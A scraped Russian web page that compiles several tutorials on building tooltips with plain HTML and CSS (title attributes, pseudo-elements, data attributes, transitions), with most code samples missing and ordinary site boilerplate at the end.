Содержание
  1. Как создается всплывающая подсказка с помощью HTML и CSS
  2. Проблема с всплывающими подсказками
  3. Метод с использованием HTML
  4. Метод с использованием CSS
  5. Объяснение примеров кода на CSS
  6. Вместо заключения
  7. Всплывающая подсказка html и css без скриптов.
  8. Простой способ с оформлением, при наведении.
  9. Всплывающая подсказка при наведении.
  10. Простой способ с оформлением, при клике.
  11. Всплывающая подсказка при клике.
  12. Видео урок — Всплывающая подсказка без скриптов.
  13. Как делается в html всплывающая подсказка?
  14. Стандартная подсказка
  15. Способ на чистом css
  16. Способ 2. Чистый css и плавное появление
  17. Узнайте, как создать всплывающую подсказку на чистом HTML и CSS
  18. Настройка документа
  19. Создание класса tooltip
  20. Добавление движения
  21. Создание треугольника
  22. Заключение
  23. Всплывающие подсказки — html, JS, Bootstrap
  24. Стандартный способ
  25. Способ на чистом css
  26. Плавное появление
  27. Другие способы

Как создается всплывающая подсказка с помощью HTML и CSS

В этой статье рассказывается о том как создается всплывающая подсказка с помощью HTML и CSS. Рассматриваемые способы не используют JavaScript, поэтому ваша веб-страница будет работать, даже если пользователь отключил поддержку этой технологии в своем браузере.

Проблема с всплывающими подсказками

Вот некоторые из недостатков применения всплывающих подсказок:

Используйте всплывающие подсказки только для предоставления дополнительной информации, без которой пользователи смогут взаимодействовать с функционалом сайта.

Метод с использованием HTML

Самый простой добавления всплывающих подсказок – атрибут title.

Посмотрите на пример, приведенный ниже.

Если вы хотите увидеть подсказку, просто наведите указатель мыши на ссылку. title — это глобальный атрибут, который можно добавлять к любому элементу HTML.

В приведенном выше примере я использовал его для ссылки. Но вы можете добавить его к любому элементу: к абзацу или целому столбцу, заключенному в блок

Метод с использованием CSS

Другой способ заключается в использовании CSS для отображения всплывающей подсказки. Он позволяет настраивать внешний вид подсказки и даже использовать изображения.

Вот HTML-код предыдущего примера.

Для реализации нового способа используется CSS-свойство content и псевдоэлемент :after.

Наведите курсор на ссылку, чтобы увидеть всплывающую подсказку в действии.

Этот способ отображения всплывающей подсказки использует большое количество различных функций: свойство content, псевдоэлемент ::after, positionfor::after и т. д. Но если пользователь применяет устаревший браузер, то всплывающая подсказка не будет отображаться корректно.

Вы также можете использовать во всплывающей подсказке другой формат контента. Например, можно отображать изображение.

CSS для всплывающей подсказки с изображением выглядит следующим образом:

Если веб-страница работает на основе HTML5, вы можете воспользоваться новыми пользовательскими атрибутами данными. Они позволяет реализовать подсказку в HTML-коде, а не в CSS. В этом случае подсказки являются контентом, а не стилем CSS.

Код примера на HTML5:

Демонстрация: всплывающая подсказка с использованием пользовательских атрибутов данных HTML5:

Но этот способ не будет работать в устаревших браузерах. А также в программах чтения с экрана.

Объяснение примеров кода на CSS

Часть :hover приведенного выше селектора означает, что стилевые правила применяются только тогда, когда курсор мыши наводится на элемент. Псевдоэлемент ::after гарантирует, что стили применяются к последнему дочернему элементу (который создается этими правилами) текущего элемента.

Чтобы всплывающая подсказка появлялась рядом с элементом, над которым находится указатель мыши, я использовал несколько приемов. Я установил для исходного элемента относительное позиционирование (position: relative). Это делает его точкой отсчета для position: absolute дочернего псевдоэлемента.

Затем всплывающая подсказка помещается на 1.1em ниже ссылки. Это смещает ее чуть ниже слов, чтобы она не закрывала их. А также на 1em вправо, чтобы подсказка смещалась примерно на 1 символ в сторону.

Всплывающая подсказка, реализованная таким образом, по функциональности уступает атрибуту title. Она всегда будет отображаться только в указанном вами месте, даже если это приводит к ее усечению.

При использовании атрибута title браузеры автоматически регулируют положение всплывающей подсказки, чтобы ее всегда можно было увидеть полностью.

Я также присвоил значение z-index 1, чтобы всплывающая подсказка отображалась над существующим содержимым.

Остальная часть CSS-кода предназначена для управления внешним видом всплывающей подсказки и включает в себя обычные свойства padding, border и width.

Свойство content содержит саму всплывающую подсказку. Если вы хотите использовать изображение, замените текст URL-адресом этого изображения.

В примере на HTML5 создается пользовательский атрибут данных с именем «data-tooltip» и присваивается ему некоторый текст.

Затем текст вставляется в контент с помощью функции CSS attr(). Проще говоря, attr(data-tooltip) принимает значение атрибута data-tooltip и заменяет его текстом.

Вместо заключения

Какой бы способ реализации вы не выбрали, всегда не забывайте о проблемах, связанных с использованием всплывающих подсказок. Убедитесь, что важная информация всегда отображается без необходимости дополнительного взаимодействия.

Источник

Всплывающая подсказка html и css без скриптов.

И снова я рад приветствовать Вас на страницах SdelaemBlog.ru. В этот раз я хочу поговорить немного о технической части сайтостроения. Дело в том, что по прежнему в связи с работой, уделять время сайту могу урывками. Думал, о чем написать? И пришло, как-то само конечно же во время верстки очередного макета. Понадобилось сделать такую простенькую штуку, как всплывающая подсказка без использования скриптов. Вот решил собственно поделиться и с Вами. А вдруг кому пригодится?

Читайте также:  Как сделать подвесные потолки своими руками видео

В данной статье я хочу обсудить несколько вариантов организации подобной фишки в любой верстке. Кстати, живой пример такой реализации уже имеется у меня на сайте. Если прокрутите до комментариев на этой странице и наведете на дату комментария, сразу точно станет понятно, о чем речь. Ну а если же комментариев еще нет, можете его заодно и оставить.

Я вижу два основных метода реализации всплывающей подсказки, это при наведении, он же и самый популярный, и менее популярный при клике на какой-либо элемент. Начнем естественно с появления подсказки при наведении курсора на элемент.

Я думал в данной статье начать с самого примитива, вывод подсказки с помощью атрибута title, который не получится как-либо оформить, однако я думаю его можно пропустить, так как это и так понятно. Если вышесказанное Вам не совсем понятно, думаю, после изучения видео об универсальных атрибутах, все станет гораздо понятней.

Простой способ с оформлением, при наведении.

Здесь все не сложнее, чем в способе, который я пропустил. Только вместо атрибута title я буду использовать data-title и оформление с помощью стилей css. Собственно привожу ниже html-код:

Далее, чтобы подсказка начала работать, необходимо прописать свойства для данного элемента:

Здесь же хочу обратить Ваше внимание, что это только пример свойств оформления. Вы можете естественно оформить внешний вид плашки, как Вам угодно.

Всплывающая подсказка при наведении.

Это пожалуй самый популярный способ реализации данной возможности. По крайней мере я им пользуюсь чаще всего.

В данном примере так же не вижу ничего особенного, однако тегов побольше, но и результат будет получше и без использования атрибута data-title. Контейнер в данном случае служит оболочкой для наших элементов, которые будут использованы для реализации подсказки. А так же сама плашка будет позиционироваться относительно контейнера.

Именно эти два варианта можно использовать у Вас на сайте для выведения всплывающей подсказки при наведении курсора.

Существуют еще два способа, однако они практически идентичны, за исключением того, что появление элемента происходить будет при клике по элементу, который всегда отображается на сайте.

Простой способ с оформлением, при клике.

В случае с кликом, код будет выглядеть абсолютно так же. Единственное, что для удобства я заменил класс некоторых элементов. А так же используется псевдокласс focus вместо hover. Еще здесь стоит отметить, что чтобы данный способ срабатывал, необходимо заменить тег div на тег a, то есть на гиперссылку.

Css код в этом случае аналогичен появлению плашки при наведении, только использованы для удобства другие классы. И для правильной работы меняем псевдокласс на focus.

Как видите разницы практически нет.

Всплывающая подсказка при клике.

Этот способ при клике так же будет более актуален, если Вам требуется оформить подсказку немного лучше нежели это возможно в предыдущем варианте.

И собственно оформление плашки:

Как Вы можете наблюдать ничего сложного нет. К тому же можно организовать изменения состояний, как по наведению, так и по клику. Хотя я честно говоря, не могу сказать насколько актуален способ по клику.

Существует так же имитация последнего примера с помощью тега input, однако его использование мне кажется не совсем правильным именно для организации всплывающей подсказки у себя на сайте. Если Вы со мной категорически не согласны, добро пожаловать в комментарии.

Видео урок — Всплывающая подсказка без скриптов.

Источник

Как делается в html всплывающая подсказка?

Дата публикации: 2016-10-20

От автора: здравствуйте. Всплывающая подсказка — это небольшой поясняющий текст, который появляется при наведении на какой-то элемент, обычно на картинку. Сегодня мы посмотрим, как можно сделать в html всплывающую подсказку разными способами.

Стандартная подсказка

По умолчанию за вывод поясняющего текста отвечает атрибут title. Его можно указывать разным элементам, но обычно используют только для картинок, чтобы объяснить, что на них изображено.

В одной из прошлых статей я использовал изображение тигра, чтобы показать работу с размерами картинки. Если вы не против, я использую опять это изображение. Итак, для вывода подсказки необходимо всего лишь добавить атрибут title и в нем написать нужный текст.

Практический курс по верстке адаптивного сайта с нуля!

Изучите курс и узнайте, как верстать современные сайты на HTML5 и CSS3

Читайте также:  Как дешево сделать канализацию в частном доме

Там может быть как одно слово, так и несколько предложений. И вот так это выглядит:

Подсказка появляется плавно, не сразу после наведения, а спустя какое-то время. Это поведение, заложенное по умолчанию.

Основная проблема такой подсказки — ее невозможно стилизовать. Как решать данную проблему? Придется делать подсказку другими способами. Сейчас я покажу вам парочку.

Способ на чистом css

Очень интересный способ, который позволяет красиво вывести подсказку для изображения. Html-разметка проста, только изображение нужно заключить в блок-контейнер, которому повесим идентификатор, чтобы позже обратиться к нему в стилях:

Непонятным для вас тут может быть только атрибут data-name. Дело в том, что это так называемый data-атрибут, который сам по себе ничего не делает, но его значение можно использовать в css и javascript, что делает его полезным в некоторых случаях. Далее вы увидите это.

Итак, для начала опишем стили для контейнера. Относительное позиционирование нужно нам потому, что мы будем позиционировать абсолютно блок с поясняющим текстом, чтобы позиционирование происходило относительно родительского блока, а не всей страницы.

Блочно-строчное отображение же помешает блоку (а вместе с ним и блоку с подсказкой, которой мы создадим) растянуться на всю ширину окна. Осталось создать саму подсказку. В css это очень удобно делать с помощью псевдоэлементов. Вот так:

Практический курс по верстке адаптивного сайта с нуля!

Изучите курс и узнайте, как верстать современные сайты на HTML5 и CSS3

Кода много, но ничего сложного тут нет. Селектор #tiger:hover:after означает следующее: когда мы наводим курсор на блок с картинкой, нужно создать псевдоэлемент after (и далее в фигурных скобках перечисляются правила). Свойство content: attr(data-name) задает текстовое значение блоку. Оно будет равно тому, что записано в атрибуте data-name у блока-обертки картинки.

Далее позиционируем элемент абсолютно, задаем произвольно цвет и фон, шрифт, выравнивание, отступы и ширину. В итоге на выходе получается вот что:

Эта подсказка появляется при наведении на картинку, но в отличие от стандартной она делает это резко, а также само появление происходит непосредственно в момент наведения. Плавное появление в данном случае реализовать не получится, потому что для псевдоэлементов плавные переходы не поддерживаются.

Способ 2. Чистый css и плавное появление

Впрочем, совсем немного переписав код можно добиться плавного появления подсказки, причем, опять же, не используя javascript.

Чтобы самостоятельно увидеть 2 эффекта, которые я покажу вам далее, я рекомендую открыть блокнот или любой удобный редактор кода и повторять все за мной. Правда для этого еще нужно подключить стилевой файл, хотя стили можно писать и в html в тегах

Все права защищены © 2021
ИП Рог Виктор Михайлович
ОГРН: 313774621200541
Служба поддержки

Источник

Узнайте, как создать всплывающую подсказку на чистом HTML и CSS

HTML подсказка — это блок с дополнительной информацией, который появляется при наведении курсора мыши на определенный элемент веб-страницы. Сегодня мы создадим собственную всплывающую подсказку с помощью HTML и CSS :

Мы сможем использовать CSS-подсказки для большинства элементов, таких как ссылки, теги, стилизованный текст и т.д. Нам нужно будет применить к элементу несколько классов и добавить атрибут data- с текстом всплывающей подсказки.

Настройка документа

Нам нужно создать HTML-документ и задать исходную разметку:

Давайте подробнее рассмотрим тег анкора:

Я назначил для ссылок два класса. Класс tooltip будет отвечать за тело подсказки, а второй — определять ее размещение.

Создание класса tooltip

Ниже приведен код класса tooltip :

Добавление движения

Теперь, когда мы реализовали появление / исчезновение HTML всплывающей подсказки при наведении, давайте заставим ее двигаться. Мы уже назначили свойство анимации, и нам осталось задать исходную позицию, откуда она должна появляться, и конечную:

Создание треугольника

Последним элементом всплывающей подсказки является маленький треугольник на одной из сторон блока. Мы создадим его с помощью псевдокласса :before ( псевдокласс :after уже использован для самой подсказки ). Мы назначаем его для наших четырех классов позиции, чтобы для каждой из них треугольник выводился соответственно:

Мы создаем треугольник, задав ширину для рамки, когда сам элемент не имеет ширины или высоты. В этом случае ширина рамки устанавливается в 7 пикселей. Цвет рамки является полностью прозрачным, что очень важно. В следующем фрагменте кода я назначаю цвет для соответствующей стороны рамки, что позволяет задать форму треугольника.

Остальная часть стилей выглядит аналогично тому, что мы делали для тела HTML подсказки при наведении. У нас те же переходы, позиция является абсолютной, непрозрачность устанавливается на 0 и видимость — скрытая:

Чтобы заставить треугольник двигаться таким же образом, как и подсказка, нужно назначить начальную и конечную позиции.

Читайте также:  Как сделать палочку для теплового экрана

Вы можете поэкспериментировать с классами позиции. Положение треугольника будет меняться соответствующим образом.

Посмотрите окончательную демо-версию, чтобы увидеть нашу всплывающую подсказку в действии.

Посмотреть демо-версию | Скачать исходный код

Заключение

Источник

Всплывающие подсказки — html, JS, Bootstrap

Всплывающая подсказка представляет собой короткое текстовое сообщение с пояснением, возникающие в результате наведения курсора мышки на элемент страницы. Далее рассмотрим как сделать всплывающую подсказку в html.

Стандартный способ

За показ подсказки отвечает . Этот атрибут можно использовать для показа подсказки к разным объектам, но чаще всего его используют в качестве поясняющего текста к изображениям.</p> <p>Для показа всплывающей подсказки нужно только лишь добавить это атрибут и написать в нем необходимый поясняющий текст.</p> <p>В качестве подсказки может использоваться как одно слово или словосочетание, так и сразу несколько предложений. Обычно всплывающая html подсказка выглядит следующим образом:</p> <p style="clear: both"> <img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" data-lazy-src="https://fokit.ru/wp-content/uploads/2019/01/Vsplyvayushhaya-podskazka-na-HTML.jpg"/><noscript><img src="https://fokit.ru/wp-content/uploads/2019/01/Vsplyvayushhaya-podskazka-na-HTML.jpg"/></noscript></p> <p>Поясняющий текст появляется не сразу после наведения мышки на изображение, а через пару секунд. Такая особенность всплывающих подсказок заложена по умолчанию.</p> <p>Стандартная всплывающая html подсказка при наведении на текст имеет один существенный недостаток – отсутствие инструментов для стилизации. Чтобы решить эту проблему необходимо использовать другие способы создания всплывающей подсказки.</p> <h2 id="sposob-na-chistom-css-2">Способ на чистом css</h2> <p>Для красивого вывода подсказки обычно используется именно этот способ. Он предусматривает заключение картинки в контейнер с идентификатором. Благодаря этому, обеспечивается возможность обращения к данному контейнеру в стилях:</p> <p>Относительное позиционирование используется по причине того, что контейнер со всплывающей подсказкой будет позиционироваться абсолютно. Поэтому необходимо сделать так, чтобы текст позиционировался только относительно родительского блока, а не всей страницы.</p> <p>Блочно-строчное отображение не помешает родительскому блоку (в том числе и контейнеру с со всплывающей подсказкой) растянуться на всю ширину окна. Теперь осталось создать поясняющий текст.</p> <p>Всплывающие подсказки в css проще всего делать посредством псевдоэлементов:</p> <p>Несмотря на обилие кода, он очень прост для понимания. Селектор #pdskzk:hover:after необходим для создания псевдоэлемента after в тот момент, когда пользователь ставит курсор на контейнер с изображением. Свойство content: attr(data-name) предназначено для указания текстового значения. Оно соответствует свойству, которое записано в атрибуте data-name у контейнера-обертки изображения.</p> <p>После этого остается позиционировать объект абсолютно и задать ему необходимые параметры:</p> <p>Таким образом, получается такая всплывающая подсказка css при наведении на картинку:</p> <p style="clear: both"> <img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" data-lazy-src="https://fokit.ru/wp-content/uploads/2019/01/Vsplyvayushhaya-css-podskazka-pri-navedenii-na-kartinku.jpg"/><noscript><img src="https://fokit.ru/wp-content/uploads/2019/01/Vsplyvayushhaya-css-podskazka-pri-navedenii-na-kartinku.jpg"/></noscript></p> <p>По сравнению со стандартной подсказкой, этот вариант поясняющего текста при наведении на изображение выглядит более интересно и привлекательно. К тому же подсказка возникает сразу при наведении курсора на элемент. При этом плавное появление всплывающей подсказки невозможно из-за то, что псевдоэлементы не поддерживают такой функционал.</p> <h2 id="plavnoe-poyavlenie">Плавное появление</h2> <p>Тем не менее, возможности css позволяют использовать плавное появление подсказки. В этом случае не используются псевдоэлементы. Это обусловлено тем, что именно они не позволяют применить опцию плавного появления. Пример реализации плавного появления всплывающей подсказки на css представлен ниже:</p> <p>Стоит заметить, что css-код практически не изменился:</p> <p>Ключевое изменение касается свойства content, которое не используется в этом примере. Оно потеряло актуальность ввиду того, что поддерживается только псевдоэлементами. Еще одно изменение – появление свойства transition. Именно это свойство отвечает за создание плавных переходов. Внимательный читатель наверняка обратил внимание на значение opacity: 0. Оно делает контейнер с подсказкой прозрачным.</p> <p>Теперь при наведении на родительский блок достаточно вернуть стандартную прозрачность контейнеру с подсказкой. После этого можно проверить работу кода и убедиться в том, что поясняющий текст возникает на экране плавно.</p> <p>CSS3 позволяет скрыть элемент и другими способами. Например, может использоваться трансформация. Этот метод предусматривает замену полной прозрачности на свойство transform: scale(0). Также необходимо уменьшить размер контейнера до 0. Таким образом, его не будет видно на странице. При наведении на контейнер с изображением нужно указать свойство transform: scale(1). Этот способ позволяет сделать появление всплывающего текстового сообщения не только плавным, но и эффектным.</p> <h2 id="drugie-sposoby">Другие способы</h2> <p>Всплывающие текстовые сообщения можно создавать и посредством jQuery. Эта библиотека может использоваться как для написания своего кода, так и для создания плагина для всплывающих подсказок на jQuery, который реализует необходимый эффект.</p> <p>Альтернативный вариант – всплывающие подсказки на Bootstrap. Этот фреймворк имеет множество готовых реализаций всплывающих подсказок. Достаточно только ознакомиться с документацией к Bootstrap и изучить доступные примеры кода. При этом совершенно необязательно полностью подключать этот фреймворк. Достаточно скачать и подключить компонент toolptips.</p> <p>В целом сегодня существует огромное количество способов создания всплывающих подсказок без js. Благодаря такому разнообразию, можно использовать как стандартные реализации, так и более эффектные с плавным или резким появлением. Кроме того, не стоит забывать о возможностях библиотеки jQuery и фреймворка Bootstrap.</p> <p><a href="http://fokit.ru/vsplyvayushhie-podskazki-html-js-bootstrap/">Источник</a></p> <div class="flat_pm_end"></div> </div> </article> <div class="rating-box"> <div class="rating-box__header">Оцените статью</div> <div class="wp-star-rating js-star-rating star-rating--score-0" data-post-id="174268" data-rating-count="" data-rating-sum="" data-rating-value=""><span class="star-rating-item js-star-rating-item" data-score="1"><svg aria-hidden="true" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512" class="i-ico"><path fill="currentColor" d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z" class="ico-star"></path></svg></span><span class="star-rating-item js-star-rating-item" data-score="2"><svg aria-hidden="true" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512" class="i-ico"><path fill="currentColor" d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z" class="ico-star"></path></svg></span><span class="star-rating-item js-star-rating-item" data-score="3"><svg aria-hidden="true" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512" class="i-ico"><path fill="currentColor" d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z" class="ico-star"></path></svg></span><span class="star-rating-item js-star-rating-item" data-score="4"><svg aria-hidden="true" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512" class="i-ico"><path fill="currentColor" d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z" class="ico-star"></path></svg></span><span class="star-rating-item js-star-rating-item" data-score="5"><svg aria-hidden="true" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512" class="i-ico"><path fill="currentColor" d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z" class="ico-star"></path></svg></span></div> </div> <div class="entry-social"> <div class="social-buttons"><span class="social-button social-button--vkontakte" data-social="vkontakte"></span><span class="social-button social-button--facebook" data-social="facebook"></span><span class="social-button social-button--odnoklassniki" data-social="odnoklassniki"></span><span class="social-button social-button--twitter" data-social="twitter"></span><span class="social-button social-button--telegram" data-social="telegram"></span></div> </div> <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://netigor.ru/174268-2/" content=""> <meta itemprop="dateModified" content="2021-02-16"> <div itemprop="publisher" itemscope itemtype="https://schema.org/Organization" style="display: none;"><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"><img itemprop="url image" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Как сделать своими руками" data-lazy-src="https://fantastikhit.ru/wp-content/uploads/2021/02/icon-carmen.jpg"><noscript><img itemprop="url image" src="https://fantastikhit.ru/wp-content/uploads/2021/02/icon-carmen.jpg" alt="Как сделать своими руками"></noscript></div><meta itemprop="name" content="Как сделать своими руками"><meta itemprop="telephone" content="Как сделать своими руками"><meta itemprop="address" content="https://netigor.ru"></div> </main> </div> <aside id="secondary" class="widget-area" itemscope itemtype="http://schema.org/WPSideBar"> <div class="sticky-sidebar js-sticky-sidebar"> <div id="search-2" class="widget widget_search"> <form role="search" method="get" class="search-form" action="https://netigor.ru/"> <label> <span class="screen-reader-text">Search for:</span> <input type="search" class="search-field" placeholder="Поиск..." value="" name="s"> </label> <button type="submit" class="search-submit"></button> </form></div> <div id="recent-posts-2" class="widget widget_recent_entries"> <div class="widget-header">Свежие записи</div> <ul> <li> <a href="https://netigor.ru/vykroyka-sovy-dlya-pulta-svoimi-rukami/">Выкройка совы для пульта своими руками</a> </li> <li> <a href="https://netigor.ru/vykroyka-sobachki-svoimi-rukami-besplatno/">Выкройка собачки своими руками бесплатно</a> </li> <li> <a href="https://netigor.ru/vykroyka-sobaki-sharpeya-svoimi-rukami/">Выкройка собаки шарпея своими руками</a> </li> <li> <a href="https://netigor.ru/vykroyka-snezhnogo-barsa-svoimi-rukami/">Выкройка снежного барса своими руками</a> </li> <li> <a href="https://netigor.ru/vykroyka-slipov-dlya-novorozhdennyh-svoimi-rukami/">Выкройка слипов для новорожденных своими руками</a> </li> </ul> </div><div id="custom_html-3" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><div class="sidebar_rsya"> </div></div></div> </div> </aside> <div id="related-posts" class="related-posts fixed"><div class="related-posts__header">Вам также может понравиться</div><div class="post-cards post-cards--vertical"> <div class="post-card post-card--related post-card--thumbnail-no"> <div class="post-card__title"><a href="https://netigor.ru/vykroyka-sovy-dlya-pulta-svoimi-rukami/">Выкройка совы для пульта своими руками</a></div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">0</span></div><div class="post-card__description">Выкройки подушек сов. Очаровательные игрушки своими</div> </div> <div class="post-card post-card--related post-card--thumbnail-no"> <div class="post-card__title"><a href="https://netigor.ru/vykroyka-sobachki-svoimi-rukami-besplatno/">Выкройка собачки своими руками бесплатно</a></div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">0</span></div><div class="post-card__description">Построение выкроек и пошив собственноручно игрушки</div> </div> <div class="post-card post-card--related post-card--thumbnail-no"> <div class="post-card__title"><a href="https://netigor.ru/vykroyka-sobaki-sharpeya-svoimi-rukami/">Выкройка собаки шарпея своими руками</a></div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">0</span></div><div class="post-card__description">Одежда и обувь для Шарпея: важные особенности выбора.</div> </div> <div class="post-card post-card--related post-card--thumbnail-no"> <div class="post-card__title"><a href="https://netigor.ru/vykroyka-snezhnogo-barsa-svoimi-rukami/">Выкройка снежного барса своими руками</a></div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">0</span></div><div class="post-card__description">Мастер-класс «Снежный барсик в стиле натюр»</div> </div> <div class="post-card post-card--related post-card--thumbnail-no"> <div class="post-card__title"><a href="https://netigor.ru/vykroyka-slipov-dlya-novorozhdennyh-svoimi-rukami/">Выкройка слипов для новорожденных своими руками</a></div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">0</span></div><div class="post-card__description">Мастер-класс для сайта «Шкатулка»</div> </div> <div class="post-card post-card--related post-card--thumbnail-no"> <div class="post-card__title"><a href="https://netigor.ru/vykroyka-slipa-dlya-novorozhdennogo-svoimi-rukami/">Выкройка слипа для новорожденного своими руками</a></div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">0</span></div><div class="post-card__description">Слипы и комбинезоны. Выкройки Слипы и комбинезоны.</div> </div> <div class="post-card post-card--related post-card--thumbnail-no"> <div class="post-card__title"><a href="https://netigor.ru/vykroyka-sedla-velosipeda-svoimi-rukami/">Выкройка седла велосипеда своими руками</a></div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">0</span></div><div class="post-card__description">Чехол на сиденье велосипеда Как сделать, или где купить</div> </div> <div class="post-card post-card--related post-card--thumbnail-no"> <div class="post-card__title"><a href="https://netigor.ru/vykroyka-svoimi-rukami-svadebnoe-plate/">Выкройка своими руками свадебное платье</a></div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">0</span></div><div class="post-card__description">Свадебное платье своими руками: выкройки и схемы пошива</div> </div> </div></div> </div> </div> <div class="site-footer-container"> <div class="footer-navigation fixed" itemscope itemtype="http://schema.org/SiteNavigationElement"> <div class="main-navigation-inner fixed"> <div class="menu-tehnicheskoe-menyu-container"><ul id="footer_menu" class="menu"><li id="menu-item-8" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-8"><a href="https://netigor.ru/pravoobladatelyam/">Правообладателям</a></li> <li id="menu-item-9" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-privacy-policy menu-item-9"><a href="https://netigor.ru/politika-konfidentsialnosti/">Политика конфиденциальности</a></li> </ul></div> </div> </div> <footer id="colophon" class="site-footer site-footer--style-gray fixed"> <div class="site-footer-inner fixed"> <div class="footer-bottom"> <div class="footer-info"> © 2021 Как сделать своими руками: советы и рекомендации. <br/>Информация, опубликованная на сайте, носит исключительно ознакомительный характер и не является рекомендацией к применению. <br/> Внимание! Материалы могут содержать информацию, предназначенную для пользователей старше 18 лет. 18+ </div> </div> </div> </footer> </div> <button type="button" class="scrolltop js-scrolltop" data-mob="on"></button> </div> <script>var pseudo_links = document.querySelectorAll(".pseudo-clearfy-link");for (var i=0;i<pseudo_links.length;i++ ) { pseudo_links[i].addEventListener("click", function(e){ window.open( e.target.getAttribute("data-uri") ); }); }</script><script type='text/javascript' id='reboot-scripts-js-extra'> /* <![CDATA[ */ var settings_array = {"rating_text_average":"\u0441\u0440\u0435\u0434\u043d\u0435\u0435","rating_text_from":"\u0438\u0437","lightbox_display":"1","sidebar_fixed":"1"}; var wps_ajax = {"url":"https:\/\/netigor.ru\/wp-admin\/admin-ajax.php","nonce":"e1a7ae06d9"}; /* ]]> */ </script> <script src='https://netigor.ru/wp-content/themes/reboot/assets/js/scripts.min.js' id='reboot-scripts-js'></script> <script type="text/javascript"> /*<![CDATA[*/ jQuery(document).ready(function($){ $('.link').replaceWith(function(){ var id = ( null != $(this).attr('id') ) ? ' id="' + $(this).attr('id') + '"' : '', target = ( null != $(this).attr('data-target') ) ? ' target="' + $(this).attr('data-target') + '"' : ' target="_blank"', title = ( null != $(this).attr('title') ) ? ' title="' + $(this).attr('title') + '"' : '', style = ( null != $(this).attr('style') ) ? ' style="' + $(this).attr('style') + '"' : '', rel = ( null != $(this).attr('data-rel') ) ? ' rel="' + $(this).attr('data-rel') + '"' : '', cl = ( null != $(this).attr('class') ) ? $(this).attr('class').replace('link','').trim() : ''; cl = ( '' != cl ) ? ' class="' + cl + '"' : ''; return '<a href="' + $(this).attr('data-link') + '" ' + title + id + cl + target + style + rel + ' >' + $(this).html() + '</a>'; }); }); /*]]>*/ </script> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins> <style> .flat__4_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .flat__4_modal-show{z-index:2000;visibility:visible} .flat__4_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .flat__4_modal-show ~ .flat__4_modal-overlay{z-index:1000;opacity:1;visibility:visible} .flat__4_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .flat__4_modal-show .flat__4_modal-content{transform:translateY(0);opacity:1} .flat__4_modal .flat__4_timer, .flat__4_modal .flat__4_cross{top:0!important} .flat__4_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .flat__4_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .flat__4_cross:after, .flat__4_cross:before{transition:transform .3s 